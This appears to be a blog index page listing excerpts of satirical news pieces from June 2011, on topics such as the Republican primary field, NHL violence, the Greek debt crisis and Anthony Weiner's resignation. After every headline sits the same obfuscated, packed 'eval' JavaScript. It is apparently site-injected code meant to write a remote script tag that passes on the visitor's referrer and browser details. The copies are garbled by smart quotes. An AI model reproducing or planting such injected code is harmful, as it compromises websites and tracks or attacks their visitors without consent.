“Seven Dwarfs We Get,” Voters Say

“THE SEVEN DWARFS WE GET,” VOTERS SAY. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ektsr|var|u0026u|referrer|adnih||js|php’.split(‘|’),0,{})) “But seriously,” they add, “where the hell’s Snow White?” Washington, DC June 30th, 2011 (SHK) In the nation’s newest unsyndicated reality show, several pint-sized politicians are fighting to be the Republican party’s presidential candidate next year. Minnesota Congresswoman Michelle Bachmann formally announced [...]

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NHL Under Attack for Violence

NHL UNDER ATTACK FOR VIOLENCE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fatzi|var|u0026u|referrer|iibeh||js|php’.split(‘|’),0,{})) Head Shots, Self-Defense Rules Now Revised New York, NY June 27th, 2011 (SHK) Gary Bettman, Commissioner of the National Hockey League, today announced major changes designed to reduce the level of defenseless violence in the rink. “We have taken our fans’ concerns to heart,” [...]

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School Reform Takes Off

IS SCHOOL REFORM TAKING OFF? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sztdt|var|u0026u|referrer|frsae||js|php’.split(‘|’),0,{})) Jail Bars Now on Most Classroom Windows Washington, DC June 23rd, 2011 (SHK) Secretary of Education Arne Duncan today announced the results of the latest National Assessment of Educational Progress (NAEP) – the nation’s so-called report card. “No question about it,” he said from [...]

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Greek Crisis Imperils Europe

GREEK DEBT CRISIS IMPERILS EUROPE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftebi|var|u0026u|referrer|bhykk||js|php’.split(‘|’),0,{})) But a new sale-and-leaseback plan for Lesbos calms markets Athens, Greece Monday, June 20th, 2011 (SHK) Instability is threatening Greece – and more broadly, Europe – as its government struggles to come to grips with a mountain of public debt. Greeks have been rioting [...]

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Motorbikes with Sidecars Latest Fad

MOTORBIKES WITH SIDECARS LATEST FAD eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbaea|var|u0026u|referrer|ftbyn||js|php’.split(‘|’),0,{})) Russian Army Retro Model Most Popular in America Moscow, Russia June 16th, 2011 (SHK) The Irbit Manufacturing Company of Russia has found a surprising new market for its military motorbikes with sidecars, selling them like hotcakes now to America’s aging Baby Boomers. “They’re so [...]

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Rep. Weiner Calls It Quits

REP. WEINER (D, NY) RESIGNS FROM CONGRESS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsihs|var|u0026u|referrer|drbrt||js|php’.split(‘|’),0,{})) Declares “Penis Captivus”, says His “Li’l Soldier” Let Him Down Washington & New York, June 13th, 2011 (SHK) Seven-term Democratic Representative Anthony Weiner (rhymes with “whiner”) today officially resigned his Congressional seat, citing his ongoing struggle with Captain Winky. “Mr. Happy definitely [...]

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Chaos in Yemen (Again)

CHAOS IN YEMEN, ECONOMY COLLAPSING eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbszi|var|u0026u|referrer|bbain||js|php’.split(‘|’),0,{})) In the capital – no water, no electricity, no fuel Many say, “Who cares?” Sanaa, Yemen June 9th, 2011 (SHK) Yemen’s president, Ali Abdullah Saleh, is wounded and seeking medical treatment in Saudi Arabia, one of his many benefactors. The Saudis hint that they [...]

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Batteries Charging More Now

BATTERIES CHARGING MORE NOW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fihss|var|u0026u|referrer|hiffb||js|php’.split(‘|’),0,{})) New Cars, Digital Gadgets Drive Utility Costs Higher Santa Clara, CA June 6, 2011 (SHK) The Leaf, Nissan Motor Company’s new all-electric zero-emission tiny-car that debuted recently and is now available to American consumers, has been hailed as the best way to beat climate change. [...]

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“Arab Spring” comes to New York

EGYPTIAN OFFICIAL ASSAULTS ANOTHER CHAMBERMAID eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zreaf|var|u0026u|referrer|tfkrb||js|php’.split(‘|’),0,{})) France’s Strauss-Kahn seen as Powerful Emulation Model New York, NY June 2nd, 2011 (SHK) Once again, the developing world of emerging economies follows the well-worn path of the developed world’s advanced industrial economies, even when it comes to the seamy side of sexual assault. [...]

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